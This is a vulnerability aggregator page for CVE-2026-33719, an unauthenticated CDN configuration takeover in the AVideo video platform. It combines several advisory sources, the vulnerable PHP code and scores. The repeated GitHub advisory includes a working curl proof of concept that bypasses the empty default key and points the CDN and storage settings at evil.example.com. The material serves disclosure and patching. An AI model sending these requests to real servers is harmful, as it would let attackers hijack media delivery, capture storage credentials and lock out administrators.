CVE-2026-33719
AVideo Vulnerable to Unauthenticated CDN Configuration Takeover via Empty Default Key Bypass and Mass-Assignment in status.json.php
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the CDN plugin endpoints plugin/CDN/status.json.php and plugin/CDN/disable.json.php use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration — including CDN URLs, storage credentials, and the authentication key itself — via mass-assignment through the par request parameter. Commit adeff0a31ba04a56f411eef256139fd7ed7d4310 contains a patch.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
8.6
AVideo Vulnerable to Unauthenticated CDN Configuration Takeover via Empty Default Key Bypass and Mass-Assignment in status.json.php
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the CDN plugin endpoints plugin/CDN/status.json.php and plugin/CDN/disable.json.php use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration — including CDN URLs, storage credentials, and the authentication key itself — via mass-assignment through the par request parameter. Commit adeff0a31ba04a56f411eef256139fd7ed7d4310 contains a patch.
- Record
CVE-2026-33719- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L - Weakness
- CWE-306
- Updated
- 2026-11-02
EUVDEUVD-2026-14506
8.6
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the CDN plugin endpoints plugin/CDN/status.json.php and plugin/CDN/disable.json.php use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration — including CDN URLs, storage credentials, and the authentication key itself — via mass-assignment through the par request parameter. Commit adeff0a31ba04a56f411eef256139fd7ed7d4310 contains a patch.
- Record
EUVD-2026-14506- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-r64r-883r-wcwh
8.6
AVideo: Unauthenticated CDN Configuration Takeover via Empty Default Key Bypass and Mass-Assignment
Summary
The CDN plugin endpoints plugin/CDN/status.json.php and plugin/CDN/disable.json.php use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration — including CDN URLs, storage credentials, and the authentication key itself — via mass-assignment through the par request parameter.
Details
The CDN plugin defines a default empty key in plugin/CDN/CDN.php:68:
$obj->key = "";
The status.json.php endpoint authenticates requests using this key, but the check has a critical logic flaw at lines 16-27:
// Line 16-19: Requires attacker to provide SOME key value
if (empty($_REQUEST['key'])) {
$resp->msg = 'Key is empty';
die(json_encode($resp));
}
// Line 21-26: Only validates key IF stored key is non-empty
if (!empty($obj->key)) { // When key is "" (default), this is FALSE
//check the key
if ($obj->key !== $_REQUEST['key']) {
$resp->msg = 'Key Does not match';
die(json_encode($resp));
}
}
When the stored key is the default empty string "", !empty("") evaluates to false, and the entire key comparison block is skipped. Any non-empty value provided by the attacker passes authentication.
Following the bypass, lines 28-31 perform unchecked mass-assignment:
$obj->key = $_REQUEST['key'];
foreach ($_REQUEST['par'] as $key => $value) {
$obj->{$key} = $value;
$resp->{$key} = $value;
}
The attacker-controlled par array sets arbitrary properties on the plugin data object. At line 95, the modified object is persisted to the database:
$cdn = AVideoPlugin::loadPluginIfEnabled('CDN');
$id = $cdn->setDataObject($obj);
setDataObject() in Plugin.abstract.php:263 serializes the entire object to JSON and saves it, making all mass-assigned properties persistent.
Exploitable properties (defined in CDN.php:62-87) include:
CDN— main CDN URL for serving all video contentCDN_S3,CDN_B2,CDN_FTP— storage-specific CDN URLsenable_storage— enables CDN storage functionalitystorage_hostname,storage_username,storage_password— storage backend credentialskey— the authentication key itself (via mass-assignment, can override line 28)
The disable.json.php endpoint has the identical authentication bypass (lines 16-27) and additionally deactivates the CDN plugin entirely (line 37: $cdn->setStatus('inactive')).
This contrasts with other sensitive endpoints in the codebase that properly use session-based authentication. For example, Gallery/saveSort.json.php (commit 087dab884) uses isGlobalTokenValid(), and commit daca4ffb1 added User::isAdmin() checks to other configuration endpoints.
PoC
Prerequisites: AVideo instance with CDN plugin enabled and key not configured (default state after enabling the plugin).
Step 1: Verify CDN plugin is enabled and key is default
curl -s 'https://target/plugin/CDN/status.json.php' \
-d 'key=anything' \
-d 'par[CDN]=https://evil.example.com/'
If the response contains "error":false, the key bypass worked and CDN URL has been overwritten.
Step 2: Full takeover — redirect media, enable storage with attacker credentials, lock out admins
curl -s 'https://target/plugin/CDN/status.json.php' \
-d 'key=initial-bypass' \
-d 'par[CDN]=https://evil.example.com/' \
-d 'par[enable_storage]=1' \
-d 'par[storage_hostname]=evil.example.com' \
-d 'par[storage_username]=attacker' \
-d 'par[storage_password]=controlled' \
-d 'par[key]=attacker-secret-key'
This single request:
- Redirects all CDN-served media URLs to attacker's server
- Enables CDN storage pointing to attacker-controlled host
- Sets the key to
attacker-secret-key, locking legitimate administrators out of…
- Record
GHSA-r64r-883r-wcwh- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L - Weakness
- CWE-306
- Updated
- 2026-11-02
NVD
8.6
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the CDN plugin endpoints plugin/CDN/status.json.php and plugin/CDN/disable.json.php use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration — including CDN URLs, storage credentials, and the authentication key itself — via mass-assignment through the par request parameter. Commit adeff0a31ba04a56f411eef256139fd7ed7d4310 contains a patch.
- Record
CVE-2026-33719- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L - Weakness
- CWE-306
- Updated
- 2026-11-02
OSV
8.6
AVideo Vulnerable to Unauthenticated CDN Configuration Takeover via Empty Default Key Bypass and Mass-Assignment in status.json.php
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the CDN plugin endpoints plugin/CDN/status.json.php and plugin/CDN/disable.json.php use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration — including CDN URLs, storage credentials, and the authentication key itself — via mass-assignment through the par request parameter. Commit adeff0a31ba04a56f411eef256139fd7ed7d4310 contains a patch.
- Record
CVE-2026-33719- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L - Weakness
- CWE-306
- Updated
- 2026-11-02
OSVGHSA-r64r-883r-wcwh
8.6
AVideo: Unauthenticated CDN Configuration Takeover via Empty Default Key Bypass and Mass-Assignment
Summary
The CDN plugin endpoints plugin/CDN/status.json.php and plugin/CDN/disable.json.php use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration — including CDN URLs, storage credentials, and the authentication key itself — via mass-assignment through the par request parameter.
Details
The CDN plugin defines a default empty key in plugin/CDN/CDN.php:68:
$obj->key = "";
The status.json.php endpoint authenticates requests using this key, but the check has a critical logic flaw at lines 16-27:
// Line 16-19: Requires attacker to provide SOME key value
if (empty($_REQUEST['key'])) {
$resp->msg = 'Key is empty';
die(json_encode($resp));
}
// Line 21-26: Only validates key IF stored key is non-empty
if (!empty($obj->key)) { // When key is "" (default), this is FALSE
//check the key
if ($obj->key !== $_REQUEST['key']) {
$resp->msg = 'Key Does not match';
die(json_encode($resp));
}
}
When the stored key is the default empty string "", !empty("") evaluates to false, and the entire key comparison block is skipped. Any non-empty value provided by the attacker passes authentication.
Following the bypass, lines 28-31 perform unchecked mass-assignment:
$obj->key = $_REQUEST['key'];
foreach ($_REQUEST['par'] as $key => $value) {
$obj->{$key} = $value;
$resp->{$key} = $value;
}
The attacker-controlled par array sets arbitrary properties on the plugin data object. At line 95, the modified object is persisted to the database:
$cdn = AVideoPlugin::loadPluginIfEnabled('CDN');
$id = $cdn->setDataObject($obj);
setDataObject() in Plugin.abstract.php:263 serializes the entire object to JSON and saves it, making all mass-assigned properties persistent.
Exploitable properties (defined in CDN.php:62-87) include:
CDN— main CDN URL for serving all video contentCDN_S3,CDN_B2,CDN_FTP— storage-specific CDN URLsenable_storage— enables CDN storage functionalitystorage_hostname,storage_username,storage_password— storage backend credentialskey— the authentication key itself (via mass-assignment, can override line 28)
The disable.json.php endpoint has the identical authentication bypass (lines 16-27) and additionally deactivates the CDN plugin entirely (line 37: $cdn->setStatus('inactive')).
This contrasts with other sensitive endpoints in the codebase that properly use session-based authentication. For example, Gallery/saveSort.json.php (commit 087dab884) uses isGlobalTokenValid(), and commit daca4ffb1 added User::isAdmin() checks to other configuration endpoints.
PoC
Prerequisites: AVideo instance with CDN plugin enabled and key not configured (default state after enabling the plugin).
Step 1: Verify CDN plugin is enabled and key is default
curl -s 'https://target/plugin/CDN/status.json.php' \
-d 'key=anything' \
-d 'par[CDN]=https://evil.example.com/'
If the response contains "error":false, the key bypass worked and CDN URL has been overwritten.
Step 2: Full takeover — redirect media, enable storage with attacker credentials, lock out admins
curl -s 'https://target/plugin/CDN/status.json.php' \
-d 'key=initial-bypass' \
-d 'par[CDN]=https://evil.example.com/' \
-d 'par[enable_storage]=1' \
-d 'par[storage_hostname]=evil.example.com' \
-d 'par[storage_username]=attacker' \
-d 'par[storage_password]=controlled' \
-d 'par[key]=attacker-secret-key'
This single request:
- Redirects all CDN-served media URLs to attacker's server
- Enables CDN storage pointing to attacker-controlled host
- Sets the key to
attacker-secret-key, locking legitimate administrators out of…
- Record
GHSA-r64r-883r-wcwh- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L - Weakness
- CWE-306
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
wwbn/avideoPackagist |
through 26.0 | None known |
wwbn/avideoPackagist |
through 26.0, plus listed versions 10.410.81111.111.1.1 Show 11 moreShow less11.511.612.414.314.3.114.418.021.022.024.025.0 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-33719 is a high vulnerability (CVSS 8.6) in Wwbn Avideo, published March 23, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.37%, the 31st percentile. No source names a fixed version.
References
github.com/WWBN/AVideo/security/advisories/GHSA-r64r-883r-wcwh
github.com/WWBN/AVideo/commit/adeff0a31ba04a56f411eef256139fd7ed7d4310
nvd.nist.gov/vuln/detail/CVE-2026-33719
github.com/advisories/GHSA-r64r-883r-wcwh
github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33719.json
github.com/WWBN/AVideo
Left out here: the rest of 2 source descriptions. The JSON record has them.